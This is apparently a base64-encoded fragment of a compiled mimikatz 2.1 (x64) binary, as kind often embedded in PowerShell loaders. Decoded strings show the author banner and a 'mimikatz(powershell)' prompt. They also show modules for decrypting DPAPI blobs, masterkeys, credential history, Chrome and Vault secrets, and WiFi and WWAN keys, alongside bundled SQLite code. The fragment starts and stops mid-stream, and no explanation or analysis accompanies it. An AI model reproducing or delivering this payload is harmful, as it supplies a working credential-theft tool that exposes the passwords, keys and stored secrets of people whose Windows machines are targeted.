aWxlUG9pbnRlcgAAU2xlZXAAAABTeXN0ZW1UaW1lVG9GaWxlVGltZQAAAABVbmxvY2tGaWxlAAAAAAAAVW5sb2NrRmlsZUV4AAAAAFVubWFwVmlld09mRmlsZQBXaWRlQ2hhclRvTXVsdGlCeXRlAAAAAABXcml0ZUZpbGUAAAAAAAAAQ3JlYXRlRXZlbnRFeFcAAFdhaXRGb3JTaW5nbGVPYmplY3QAAAAAAFdhaXRGb3JTaW5nbGVPYmplY3RFeAAAAFNldEZpbGVQb2ludGVyRXgAAAAAAAAAAEdldEZpbGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXgAAAAATWFwVmlld09mRmlsZUZyb21BcHAAAAAAQ3JlYXRlRmlsZTIAAAAAAExvYWRQYWNrYWdlZExpYnJhcnkAAAAAAEdldFRpY2tDb3VudDY0AABHZXROYXRpdmVTeXN0ZW1JbmZvAAAAAABPdXRwdXREZWJ1Z1N0cmluZ0EAAAAAAABPdXRwdXREZWJ1Z1N0cmluZ1cAAAAAAABHZXRQcm9jZXNzSGVhcAAAQ3JlYXRlRmlsZU1hcHBpbmdGcm9tQXBwAAAAAAAAAABJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAAAAAAAFV1aWRDcmVhdGUAAAAAAABVdWlkQ3JlYXRlU2VxdWVudGlhbAAAAABGbHVzaFZpZXdPZkZpbGUAT3NFcnJvciAweCVseCAoJWx1KQAlcwAAb3Nfd2luLmM6JWQ6ICglbHUpICVzKCVzKSAtICVzAABkZWxheWVkICVkbXMgZm9yIGxvY2svc2hhcmluZyBjb25mbGljdCBhdCBsaW5lICVkAAAAAAAAAHdpblNlZWtGaWxlAAAAAAB3aW5DbG9zZQAAAAAAAAAAd2luUmVhZAB3aW5Xcml0ZTEAAAAAAAAAd2luV3JpdGUyAAAAAAAAAHdpblRydW5jYXRlMQAAAAB3aW5UcnVuY2F0ZTIAAAAAd2luU3luYzEAAAAAAAAAAHdpblN5bmMyAAAAAAAAAAB3aW5GaWxlU2l6ZQAAAAAAd2luVW5sb2NrUmVhZExvY2sAAAAAAAAAd2luVW5sb2NrAAAAAAAAAHdpblVubWFwZmlsZTEAAAB3aW5Vbm1hcGZpbGUyAAAAd2luTWFwZmlsZTEAAAAAAHdpbk1hcGZpbGUyAAAAAABldGlscXNfAHdpbkdldFRlbXBuYW1lMQB3aW5HZXRUZW1wbmFtZTIAd2luR2V0VGVtcG5hbWUzAHdpbkdldFRlbXBuYW1lNAB3aW5HZXRUZW1wbmFtZTUAd2luT3BlbgBwc293AAAAAHdpbkRlbGV0ZQAAAAAAAAB3aW5BY2Nlc3MAAAAlcyVjJXMAAAAAAAB3aW5GdWxsUGF0aG5hbWUxAAAAAAAAAAB3aW5GdWxsUGF0aG5hbWUyAAAAAAAAAAB3aW5GdWxsUGF0aG5hbWUzAAAAAAAAAAB3aW5GdWxsUGF0aG5hbWU0AAAAAHdpbjMyAAAAAAAAAHdpbjMyLWxvbmdwYXRoAAByZWNvdmVyZWQgJWQgcGFnZXMgZnJvbSAlcwAAAAAAAC1qb3VybmFsAAAAAG5vbG9jawAAAAAAAGltbXV0YWJsZQAAAEAgIABvdXQgb2YgbWVtb3J5AAAAJWxsZAAAAAAlIS4xNWcAAC0AAAAlcyVzAAAAAAAAAAAlcy1talhYWFhYWDlYWHoATUogZGVsZXRlOiAlcwAAAE1KIGNvbGxpZGU6ICVzAAAtbWolMDZYOSUwMlgAAAAAQVBJIGNhbGxlZCB3aXRoIGZpbmFsaXplZCBwcmVwYXJlZCBzdGF0ZW1lbnQAAAAAQVBJIGNhbGxlZCB3aXRoIE5VTEwgcHJlcGFyZWQgc3RhdGVtZW50AHN0cmluZyBvciBibG9iIHRvbyBiaWcAAHVuYWJsZSB0byB1c2UgZnVuY3Rpb24gJXMgaW4gdGhlIHJlcXVlc3RlZCBjb250ZXh0AAAAAAAAYmluZCBvbiBhIGJ1c3kgcHJlcGFyZWQgc3RhdGVtZW50OiBbJXNdAE5PVCBOVUxMAAAAAFVOSVFVRQAAQ0hFQ0sAAAAAAAAARk9SRUlHTiBLRVkAAAAAACVzIGNvbnN0cmFpbnQgZmFpbGVkAAAAACV6OiAlcwAAYWJvcnQgYXQgJWQgaW4gWyVzXTogJXMAY2Fubm90IG9wZW4gc2F2ZXBvaW50IC0gU1FMIHN0YXRlbWVudHMgaW4gcHJvZ3Jlc3MAAAAAAABubyBzdWNoIHNhdmVwb2ludDogJXMAAABjYW5ub3QgcmVsZWFzZSBzYXZlcG9pbnQgLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAAGNhbm5vdCBjb21taXQgdHJhbnNhY3Rpb24gLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAY2Fubm90IHN0YXJ0IGEgdHJhbnNhY3Rpb24gd2l0aGluIGEgdHJhbnNhY3Rpb24AY2Fubm90IHJvbGxiYWNrIC0gbm8gdHJhbnNhY3Rpb24gaXMgYWN0aXZlAAAAAAAAY2Fubm90IGNvbW1pdCAtIG5vIHRyYW5zYWN0aW9uIGlzIGFjdGl2ZQAAAAAAAAAAZGF0YWJhc2Ugc2NoZW1hIGhhcyBjaGFuZ2VkAAAAAABzcWxpdGVfbWFzdGVyAAAAAAAAAAAAAABTRUxFQ1QgbmFtZSwgcm9vdHBhZ2UsIHNxbCBGUk9NICclcScuJXMgV0hFUkUgJXMgT1JERVIgQlkgcm93aWQAc3RhdGVtZW50IGFib3J0cyBhdCAlZDogWyVzXSAlcwBtaXN1c2Ugb2YgYWxpYXNlZCBhZ2dyZWdhdGUgJXMAAG5vIHN1Y2ggY29sdW1uAABhbWJpZ3VvdXMgY29sdW1uIG5hbWUAAAAlczogJXMuJXMuJXMAAAAAJXM6ICVzLiVzAAAAJXM6ICVzAAAAAAAAcGFydGlhbCBpbmRleCBXSEVSRSBjbGF1c2VzAAAAAABpbmRleCBleHByZXNzaW9ucwAAAAAAAAAlcyBwcm9oaWJpdGVkIGluICVzAAAAAAB0aGUgIi4iIG9wZXJhdG9yAAAAAAAAAABmdW5jdGlvbnMAAAAAAAAAAAAAAAAAAABzZWNvbmQgYXJndW1lbnQgdG8gbGlrZWxpaG9vZCgpIG11c3QgYmUgYSBjb25zdGFudCBiZXR3ZWVuIDAuMCBhbmQgMS4wAABub24tZGV0ZXJtaW5pc3RpYyBmdW5jdGlvbnMAAAAAAG1pc3VzZSBvZiBhZ2dyZWdhdGUgZnVuY3Rpb24gJS4qcygpAAAAAABubyBzdWNoIGZ1bmN0aW9uOiAlLipzAAB3cm9uZyBudW1iZXIgb2YgYXJndW1lbnRzIHRvIGZ1bmN0aW9uICUuKnMoKQAAAABzdWJxdWVyaWVzAAAAAAAAcGFyYW1ldGVycwAAAAAAACVyICVzIEJZIHRlcm0gb3V0IG9mIHJhbmdlIC0gc2hvdWxkIGJlIGJldHdlZW4gMSBhbmQgJWQAdG9vIG1hbnkgdGVybXMgaW4gT1JERVIgQlkgY2xhdXNlAAAAT1JERVIAAAAAAAAAJXIgT1JERVIgQlkgdGVybSBkb2VzIG5vdCBtYXRjaCBhbnkgY29sdW1uIGluIHRoZSByZXN1bHQgc2V0AAAAAHRvbyBtYW55IHRlcm1zIGluICVzIEJZIGNsYXVzZQAAYSBHUk9VUCBCWSBjbGF1c2UgaXMgcmVxdWlyZWQgYmVmb3JlIEhBVklORwBHUk9VUAAAAAAAAABhZ2dyZWdhdGUgZnVuY3Rpb25zIGFyZSBub3QgYWxsb3dlZCBpbiB0aGUgR1JPVVAgQlkgY2xhdXNlAAAAAAAARXhwcmVzc2lvbiB0cmVlIGlzIHRvbyBsYXJnZSAobWF4aW11bSBkZXB0aCAlZCkAdmFyaWFibGUgbnVtYmVyIG11c3QgYmUgYmV0d2VlbiA/MSBhbmQgPyVkAAAAAAAAdG9vIG1hbnkgU1FMIHZhcmlhYmxlcwAAdG9vIG1hbnkgY29sdW1ucyBpbiAlcwAAX1JPV0lEXwBST1dJRAAAAE9JRAAAAAAAb3ZlcnNpemVkIGludGVnZXI6ICVzJXMAbWlzdXNlIG9mIGFnZ3JlZ2F0ZTogJXMoKQAAAAAAAAB1bmtub3duIGZ1bmN0aW9uOiAlcygpAAAlcyAlVCBjYW5ub3QgcmVmZXJlbmNlIG9iamVjdHMgaW4gZGF0YWJhc2UgJXMAAABubyBzdWNoIHRhYmxlAAAAY29ycnVwdCBkYXRhYmFzZQAAAAAAAAAAdW5rbm93biBkYXRhYmFzZSAlVAAAAAAAc3FsaXRlXwBvYmplY3QgbmFtZSByZXNlcnZlZCBmb3IgaW50ZXJuYWwgdXNlOiAlcwAAAAAAAAB0YWJsZSAlVCBhbHJlYWR5IGV4aXN0cwB0aGVyZSBpcyBhbHJlYWR5IGFuIGluZGV4IG5hbWVkICVzAAAAAAAAdG9vIG1hbnkgY29sdW1ucyBvbiAlcwAAZHVwbGljYXRlIGNvbHVtbiBuYW1lOiAlcwAAAAAAAABkZWZhdWx0IHZhbHVlIG9mIGNvbHVtbiBbJXNdIGlzIG5vdCBjb25zdGFudAAAAAB0YWJsZSAiJXMiIGhhcyBtb3JlIHRoYW4gb25lIHByaW1hcnkga2V5AAAAAAAAAABJTlRFR0VSACwAAAApAAAACiAgACwKICAAAAAACikAAENSRUFURSBUQUJMRSAAAAAgVEVYVAAAACBOVU0AAAAAIElOVAAAAAAgUkVBTAAAAEFVVE9JTkNSRU1FTlQgbm90IGFsbG93ZWQgb24gV0lUSE9VVCBST1dJRCB0YWJsZXMAAAAAAAAAUFJJTUFSWSBLRVkgbWlzc2luZyBvbiB0YWJsZSAlcwB0YWJsZQAAAFRBQkxFAAAAQ1JFQVRFICVzICUuKnMAAAAAAAAAAAAAVVBEQVRFICVRLiVzIFNFVCB0eXBlPSclcycsIG5hbWU9JVEsIHRibF9uYW1lPSVRLCByb290cGFnZT0jJWQsIHNxbD0lUSBXSEVSRSByb3dpZD0jJWQAAHRibF9uYW1lPSclcScgQU5EIHR5cGUhPSd0cmlnZ2VyJwAAAAAAAABzcWxpdGVfc3RhdCVkAAAAREVMRVRFIEZST00gJVEuJXMgV0hFUkUgJXM9JVEAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSB0YmxfbmFtZT0lUSBhbmQgdHlwZSE9J3RyaWdnZXInAHNxbGl0ZV9zdGF0AAAAAAB0YWJsZSAlcyBtYXkgbm90IGJlIGRyb3BwZWQAdGJsAGluZGV4AAAAY2Fubm90IGNyZWF0ZSBhIFRFTVAgaW5kZXggb24gbm9uLVRFTVAgdGFibGUgIiVzIgAAAAAAAABhbHRlcnRhYl8AAAAAAAAAdGFibGUgJXMgbWF5IG5vdCBiZSBpbmRleGVkAAAAAAB0aGVyZSBpcyBhbHJlYWR5IGEgdGFibGUgbmFtZWQgJXMAAAAAAAAAaW5kZXggJXMgYWxyZWFkeSBleGlzdHMAc3FsaXRlX2F1dG9pbmRleF8lc18lZAAAZXhwcmVzc2lvbnMgcHJvaGliaXRlZCBpbiBQUklNQVJZIEtFWSBhbmQgVU5JUVVFIGNvbnN0cmFpbnRzAAAAAGNvbmZsaWN0aW5nIE9OIENPTkZMSUNUIGNsYXVzZXMgc3BlY2lmaWVkAAAAAAAAACBVTklRVUUAQ1JFQVRFJXMgSU5ERVggJS4qcwAAAAAASU5TRVJUIElOVE8gJVEuJXMgVkFMVUVTKCdpbmRleCcsJVEsJVEsIyVkLCVRKTsAbmFtZT0nJXEnIEFORCB0eXBlPSdpbmRleCcAAAAAAABubyBzdWNoIGluZGV4OiAlUwAAAAAAAAAAAAAAAAAAAGluZGV4IGFzc29jaWF0ZWQgd2l0aCBVTklRVUUgb3IgUFJJTUFSWSBLRVkgY29uc3RyYWludCBjYW5ub3QgYmUgZHJvcHBlZAAAAAAAAAAAREVMRVRFIEZST00gJVEuJXMgV0hFUkUgbmFtZT0lUSBBTkQgdHlwZT0naW5kZXgnAAAAAGlkeABPTgAAVVNJTkcAAAAAAAAAYSBKT0lOIGNsYXVzZSBpcyByZXF1aXJlZCBiZWZvcmUgJXMAAAAAAGluZGV4ICclcScAACwgAAAlcy4lcwAAACVzLnJvd2lkAAAAAAAAAABkdXBsaWNhdGUgV0lUSCB0YWJsZSBuYW1lOiAlcwAAAG5vIHN1Y2ggY29sbGF0aW9uIHNlcXVlbmNlOiAlcwAAdGFibGUgJXMgbWF5IG5vdCBiZSBtb2RpZmllZAAAAAByb3dzIGRlbGV0ZWQAAAAAaW50ZWdlcgB0ZXh0AAAAAHJlYWwAAAAAYmxvYgAAAABudWxsAAAAAGludGVnZXIgb3ZlcmZsb3cAAAAAAAAAAExJS0Ugb3IgR0xPQiBwYXR0ZXJuIHRvbyBjb21wbGV4AAAAAAAAAABFU0NBUEUgZXhwcmVzc2lvbiBtdXN0IGJlIGEgc2luZ2xlIGNoYXJhY3RlcgAAAAAlIS4yMGUAACAAAABNQVRDSAAAAGxpa2UAAAAAZ2xvYgAAAAAAAAAAdW5saWtlbHkAAAAAAAAAAGxpa2VsaWhvb2QAAGxpa2VseQAAbHRyaW0AAABydHJpbQAAAHRyaW0AAAAAbWluAG1heAB0eXBlb2YAAGxlbmd0aAAAaW5zdHIAAABwcmludGYAAAAAAAB1bmljb2RlAGNoYXIAAAAAYWJzAHVwcGVyAAAAbG93ZXIAAABoZXgAaWZudWxsAAByYW5kb20AAHJhbmRvbWJsb2IAAG51bGxpZgAAAAAAAHNxbGl0ZV92ZXJzaW9uAABzcWxpdGVfc291cmNlX2lkAAAAAAAAAABzcWxpdGVfbG9nAABxdW90ZQAAAAAAAABsYXN0X2luc2VydF9yb3dpZAAAAAAAAABjaGFuZ2VzAHRvdGFsX2NoYW5nZXMAAAByZXBsYWNlAHplcm9ibG9iAAAAAHN1YnN0cgAAc3VtAHRvdGFsAAAAYXZnAGNvdW50AAAAAAAAAGdyb3VwX2NvbmNhdAAAAABjb2FsZXNjZQAAAAAAAAAAdGFibGUgJVMgaGFzIG5vIGNvbHVtbiBuYW1lZCAlcwB0YWJsZSAlUyBoYXMgJWQgY29sdW1ucyBidXQgJWQgdmFsdWVzIHdlcmUgc3VwcGxpZWQAAAAAACVkIHZhbHVlcyBmb3IgJWQgY29sdW1ucwAAAAAAAAAAcm93cyBpbnNlcnRlZAAAAGF1dG9tYXRpYyBleHRlbnNpb24gbG9hZGluZyBmYWlsZWQ6ICVzAAA/AAAAAAAAAG1hbGZvcm1lZCBkYXRhYmFzZSBzY2hlbWEgKCVzKQAAJXogLSAlcwBjcmVhdGUgAGludmFsaWQgcm9vdHBhZ2UAAAAAAAAAAAAAAAAAAAAAQ1JFQVRFIFRBQkxFIHgodHlwZSB0ZXh0LG5hbWUgdGV4dCx0YmxfbmFtZSB0ZXh0LHJvb3RwYWdlIGludGVnZXIsc3FsIHRleHQpAAAAAABhdHRhY2hlZCBkYXRhYmFzZXMgbXVzdCB1c2UgdGhlIHNhbWUgdGV4dCBlbmNvZGluZyBhcyBtYWluIGRhdGFiYXNlAAAAAAB1bnN1cHBvcnRlZCBmaWxlIGZvcm1hdABTRUxFQ1QgbmFtZSwgcm9vdHBhZ2UsIHNxbCBGUk9NICIldyIuJXMgT1JERVIgQlkgcm93aWQAAHN0YXRlbWVudCB0b28gbG9uZwAAAAAAAHVua25vd24gb3IgdW5zdXBwb3J0ZWQgam9pbiB0eXBlOiAlVCAlVCVzJVQAAAAAAFJJR0hUIGFuZCBGVUxMIE9VVEVSIEpPSU5zIGFyZSBub3QgY3VycmVudGx5IHN1cHBvcnRlZAAAYSBOQVRVUkFMIGpvaW4gbWF5IG5vdCBoYXZlIGFuIE9OIG9yIFVTSU5HIGNsYXVzZQAAAAAAAABjYW5ub3QgaGF2ZSBib3RoIE9OIGFuZCBVU0lORyBjbGF1c2VzIGluIHRoZSBzYW1lIGpvaW4AAAAAAAAAAAAAY2Fubm90IGpvaW4gdXNpbmcgY29sdW1uICVzIC0gY29sdW1uIG5vdCBwcmVzZW50IGluIGJvdGggdGFibGVzAFVOSU9OIEFMTAAAAAAAAABJTlRFUlNFQ1QAAABFWENFUFQAAFVOSU9OAAAAcm93aWQAAAAAAAAAY29sdW1uJWQAAAAAAAAAACUuKno6JXUAYWxsIFZBTFVFUyBtdXN0IGhhdmUgdGhlIHNhbWUgbnVtYmVyIG9mIHRlcm1zAAAAU0VMRUNUcyB0byB0aGUgbGVmdCBhbmQgcmlnaHQgb2YgJXMgZG8gbm90IGhhdmUgdGhlIHNhbWUgbnVtYmVyIG9mIHJlc3VsdCBjb2x1bW5zAAAAAAAAAG5vIHN1Y2ggaW5kZXg6ICVzAAAAAAAAACclcycgaXMgbm90IGEgZnVuY3Rpb24AAG11bHRpcGxlIHJlZmVyZW5jZXMgdG8gcmVjdXJzaXZlIHRhYmxlOiAlcwAAAAAAAGNpcmN1bGFyIHJlZmVyZW5jZTogJXMAAHRhYmxlICVzIGhhcyAlZCB2YWx1ZXMgZm9yICVkIGNvbHVtbnMAAABtdWx0aXBsZSByZWN1cnNpdmUgcmVmZXJlbmNlczogJXMAAAAAAAAAcmVjdXJzaXZlIHJlZmVyZW5jZSBpbiBhIHN1YnF1ZXJ5OiAlcwAAAHRvbyBtYW55IHJlZmVyZW5jZXMgdG8gIiVzIjogbWF4IDY1NTM1AAAqAAAAAAAAACVzLiVzLiVzAAAAAAAAAABubyBzdWNoIHRhYmxlOiAlcwAAAAAAAABubyB0YWJsZXMgc3BlY2lmaWVkAAAAAAB0b28gbWFueSBjb2x1bW5zIGluIHJlc3VsdCBzZXQAAERJU1RJTkNUIGFnZ3JlZ2F0ZXMgbXVzdCBoYXZlIGV4YWN0bHkgb25lIGFyZ3VtZW50AAAAAAAAbm8gc3VjaCBjb2x1bW46ICVzAAAAAAAAcm93cyB1cGRhdGVkAAAAAEJJTkFSWQAAdG9vIG1hbnkgYXJndW1lbnRzIG9uICVzKCkgLSBtYXggJWQAAAAAAG5vIHF1ZXJ5IHNvbHV0aW9uAAAAAAAAAGF0IG1vc3QgJWQgdGFibGVzIGluIGEgam9pbgAAAAAAdG9vIG1hbnkgdGVybXMgaW4gY29tcG91bmQgU0VMRUNUAAAAAAAAAHN5bnRheCBlcnJvciBhZnRlciBjb2x1bW4gbmFtZSAiJS4qcyIAAABwYXJzZXIgc3RhY2sgb3ZlcmZsb3cAAAB1bmtub3duIHRhYmxlIG9wdGlvbjogJS4qcwAAAAAAAHNldCBsaXN0AAAAAAAAAABuZWFyICIlVCI6IHN5bnRheCBlcnJvcgB0b28gbWFueSBhcmd1bWVudHMgb24gZnVuY3Rpb24gJVQAAAAAAAAAdW5yZWNvZ25pemVkIHRva2VuOiAiJVQiAAAAAAAAAAAyMDE2LTA1LTE4IDEwOjU3OjMwIGZjNDlmNTU2ZTQ4OTcwNTYxZDdhYjZhMmYyNGZkZDdkOWViODFmZjIAAAAAAAAAAAAAAAB1bmFibGUgdG8gY2xvc2UgZHVlIHRvIHVuZmluYWxpemVkIHN0YXRlbWVudHMgb3IgdW5maW5pc2hlZCBiYWNrdXBzAAAAAABub3QgYW4gZXJyb3IAAAAAU1FMIGxvZ2ljIGVycm9yIG9yIG1pc3NpbmcgZGF0YWJhc2UAAAAAAGFjY2VzcyBwZXJtaXNzaW9uIGRlbmllZAAAAAAAAAAAY2FsbGJhY2sgcmVxdWVzdGVkIHF1ZXJ5IGFib3J0AABkYXRhYmFzZSBpcyBsb2NrZWQAAAAAAABkYXRhYmFzZSB0YWJsZSBpcyBsb2NrZWQAAAAAAAAAAGF0dGVtcHQgdG8gd3JpdGUgYSByZWFkb25seSBkYXRhYmFzZQAAAABpbnRlcnJ1cHRlZAAAAAAAZGlzayBJL08gZXJyb3IAAGRhdGFiYXNlIGRpc2sgaW1hZ2UgaXMgbWFsZm9ybWVkAAAAAAAAAAB1bmtub3duIG9wZXJhdGlvbgAAAAAAAABkYXRhYmFzZSBvciBkaXNrIGlzIGZ1bGwAAAAAAAAAAHVuYWJsZSB0byBvcGVuIGRhdGFiYXNlIGZpbGUAAAAAbG9ja2luZyBwcm90b2NvbAAAAAAAAAAAdGFibGUgY29udGFpbnMgbm8gZGF0YQAAY29uc3RyYWludCBmYWlsZWQAAAAAAAAAZGF0YXR5cGUgbWlzbWF0Y2gAAAAAAAAAbGlicmFyeSByb3V0aW5lIGNhbGxlZCBvdXQgb2Ygc2VxdWVuY2UAAGxhcmdlIGZpbGUgc3VwcG9ydCBpcyBkaXNhYmxlZAAAYXV0aG9yaXphdGlvbiBkZW5pZWQAAAAAYXV4aWxpYXJ5IGRhdGFiYXNlIGZvcm1hdCBlcnJvcgBiaW5kIG9yIGNvbHVtbiBpbmRleCBvdXQgb2YgcmFuZ2UAAAAAAAAAZmlsZSBpcyBlbmNyeXB0ZWQgb3IgaXMgbm90IGEgZGF0YWJhc2UAAHVua25vd24gZXJyb3IAAABhYm9ydCBkdWUgdG8gUk9MTEJBQ0sAAAB1bmFibGUgdG8gZGVsZXRlL21vZGlmeSB1c2VyLWZ1bmN0aW9uIGR1ZSB0byBhY3RpdmUgc3RhdGVtZW50cwAAAAAAAAAAAAB1bmFibGUgdG8gZGVsZXRlL21vZGlmeSBjb2xsYXRpb24gc2VxdWVuY2UgZHVlIHRvIGFjdGl2ZSBzdGF0ZW1lbnRzAGZpbGU6AAAAAAAAAGxvY2FsaG9zdAAAAAAAAABpbnZhbGlkIHVyaSBhdXRob3JpdHk6ICUuKnMAdmZzAGNhY2hlAAAAc2hhcmVkAABwcml2YXRlAG1vZGUAAAAAcm8AAHJ3AAByd2MAbWVtb3J5AABhY2Nlc3MAAAAAAABubyBzdWNoICVzIG1vZGU6ICVzAAAAAAAlcyBtb2RlIG5vdCBhbGxvd2VkOiAlcwBubyBzdWNoIHZmczogJXMATk9DQVNFAABSVFJJTQAAAG1haW4AAAAAdGVtcAAAAAAlcyBhdCBsaW5lICVkIG9mIFslLjEwc10AAAAAAAAAAGRhdGFiYXNlIGNvcnJ1cHRpb24AbWlzdXNlAAAAAAAAY2Fubm90IG9wZW4gZmlsZQAAAAAAAAAACgBGAHUAbABsACAAbgBhAG0AZQAgADoACQAlAHMAAAAKAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoACQAlAHMAAAAAAAAACgAgACAALgAjACMAIwAjACMALgAgACAAIABtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMQAgACgAeAA2ADQAKQAgAGIAdQBpAGwAdAAgAG8AbgAgAEoAdQBsACAAMQA1ACAAMgAwADEANgAgADEANAA6ADEAMAA6ADUAMgAKACAALgAjACMAIABeACAAIwAjAC4AIAAgACIAQQAgAEwAYQAgAFYAaQBlACwAIABBACAATAAnAEEAbQBvAHUAcgAiAAoAIAAjACMAIAAvACAAXAAgACMAIwAgACAALwAqACAAKgAgACoACgAgACMAIwAgAFwAIAAvACAAIwAjACAAIAAgAEIAZQBuAGoAYQBtAGkAbgAgAEQARQBMAFAAWQAgAGAAZwBlAG4AdABpAGwAawBpAHcAaQBgACAAKAAgAGIAZQBuAGoAYQBtAGkAbgBAAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAgACkACgAgACcAIwAjACAAdgAgACMAIwAnACAAIAAgAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAvAG0AaQBtAGkAawBhAHQAegAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAbwBlAC4AZQBvACkACgAgACAAJwAjACMAIwAjACMAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcAaQB0AGgAIAAlADIAdQAgAG0AbwBkAHUAbABlAHMAIAAqACAAKgAgACoALwAKAAAACgBtAGkAbQBpAGsAYQB0AHoAKABwAG8AdwBlAHIAcwBoAGUAbABsACkAIAAjACAAJQBzAAoAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBpAG4AaQB0AE8AcgBDAGwAZQBhAG4AIAA7ACAAQwBvAEkAbgBpAHQAaQBhAGwAaQB6AGUARQB4ADoAIAAlADAAOAB4AAoAAAAAAEkATgBJAFQAAAAAAAAAAABDAEwARQBBAE4AAAAAAAAAAAAAAAAAAAA+AD4APgAgACUAcwAgAG8AZgAgACcAJQBzACcAIABtAG8AZAB1AGwAZQAgAGYAYQBpAGwAZQBkACAAOgAgACUAMAA4AHgACgAAAAAAOgA6AAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABtAG8AZAB1AGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkACAAIQAKAAAAAAAAAAoAJQAxADYAcwAAAAAAAAAgACAALQAgACAAJQBzAAAAIAAgAFsAJQBzAF0AAAAAAAAAAAAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAYwBvAG0AbQBhAG4AZAAgAG8AZgAgACIAJQBzACIAIABtAG8AZAB1AGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkACAAIQAKAAAAAAAAAAoATQBvAGQAdQBsAGUAIAA6AAkAJQBzAAAAAAAAAAAAYgBsAG8AYgAAAAAAAAAAAAAAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEQAUABBAFAASQAgAGIAbABvAGIALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAaQB0ACAAdwBpAHQAaAAgAEEAUABJACAAbwByACAATQBhAHMAdABlAHIAawBlAHkAAAAAAAAAcAByAG8AdABlAGMAdAAAAAAAAAAAAAAAUAByAG8AdABlAGMAdAAgAGEAIABkAGEAdABhACAAdgBpAGEAIABhACAARABQAEEAUABJACAAYwBhAGwAbAAAAG0AYQBzAHQAZQByAGsAZQB5AAAAAAAAAAAAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAE0AYQBzAHQAZQByAGsAZQB5ACAAZgBpAGwAZQAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABlAGEAYwBoACAATQBhAHMAdABlAHIAawBlAHkAIAAoAGsAZQB5ACAAZABlAHAAZQBuAGQAaQBuAGcAKQAAAGMAcgBlAGQAaABpAHMAdAAAAAAAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABDAHIAZQBkAGgAaQBzAHQAIABmAGkAbABlAAAAAAAAAAAAYwBhAHAAaQAAAAAAAAAAAEMAQQBQAEkAIABrAGUAeQAgAHQAZQBzAHQAAAAAAAAAYwBuAGcAAABDAE4ARwAgAGsAZQB5ACAAdABlAHMAdAAAAAAAAAAAAGMAcgBlAGQAAAAAAAAAAABDAFIARQBEACAAdABlAHMAdAAAAAAAAAB2AGEAdQBsAHQAAAAAAAAAVgBBAFUATABUACAAdABlAHMAdAAAAAAAdwBpAGYAaQAAAAAAAAAAAFcAaQBGAGkAIAB0AGUAcwB0AAAAAAAAAHcAdwBhAG4AAAAAAAAAAABXAHcAYQBuACAAdABlAHMAdAAAAAAAAABjAGgAcgBvAG0AZQAAAAAAQwBoAHIAbwBtAGUAIAB0AGUAcwB0AAAAYwBhAGMAaABlAAAAAAAAAGQAcABhAHAAaQAAAAAAAAAAAAAAAAAAAEQAUABBAFAASQAgAE0AbwBkAHUAbABlACAAKABiAHkAIABBAFAASQAgAG8AcgAgAFIAQQBXACAAYQBjAGMAZQBzAHMAKQAAAAAAAAAAAAAARABhAHQAYQAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AIABwAHIAbwBnAHIAYQBtAG0AaQBuAGcAIABpAG4AdABlAHIAZgBhAGMAZQAAAGkAbgAAAAAAAAAAAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoAIAAlAHMACgAAAAAAAABvAHUAdAAAAFcAcgBpAHQAZQAgAHQAbwAgAGYAaQBsAGUAIAAnACUAcwAnACAAaQBzACAATwBLAAoAAAAAAAAAZABhAHQAYQA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAAAAAAAAZABhAHQAYQAAAAAAAAAAAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAGUAbgB0AHIAbwBwAHkAAABtAGEAYwBoAGkAbgBlAAAAcAByAG8AbQBwAHQAAAAAAGMAAAAAAAAACgBkAGEAdABhACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGYAbABhAGcAcwAgACAAIAAgACAAIAAgADoAIAAAAAAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAOgAgAAAAAABlAG4AdAByAG8AcAB5ACAAIAAgACAAIAA6ACAAAAAAAEIAbABvAGIAOgAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcAByAG8AdABlAGMAdAAgADsAIABDAHIAeQBwAHQAUAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABwAHIAbwB0AGUAYwB0AGUAZAAAAAAAAABzAGkAZAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUw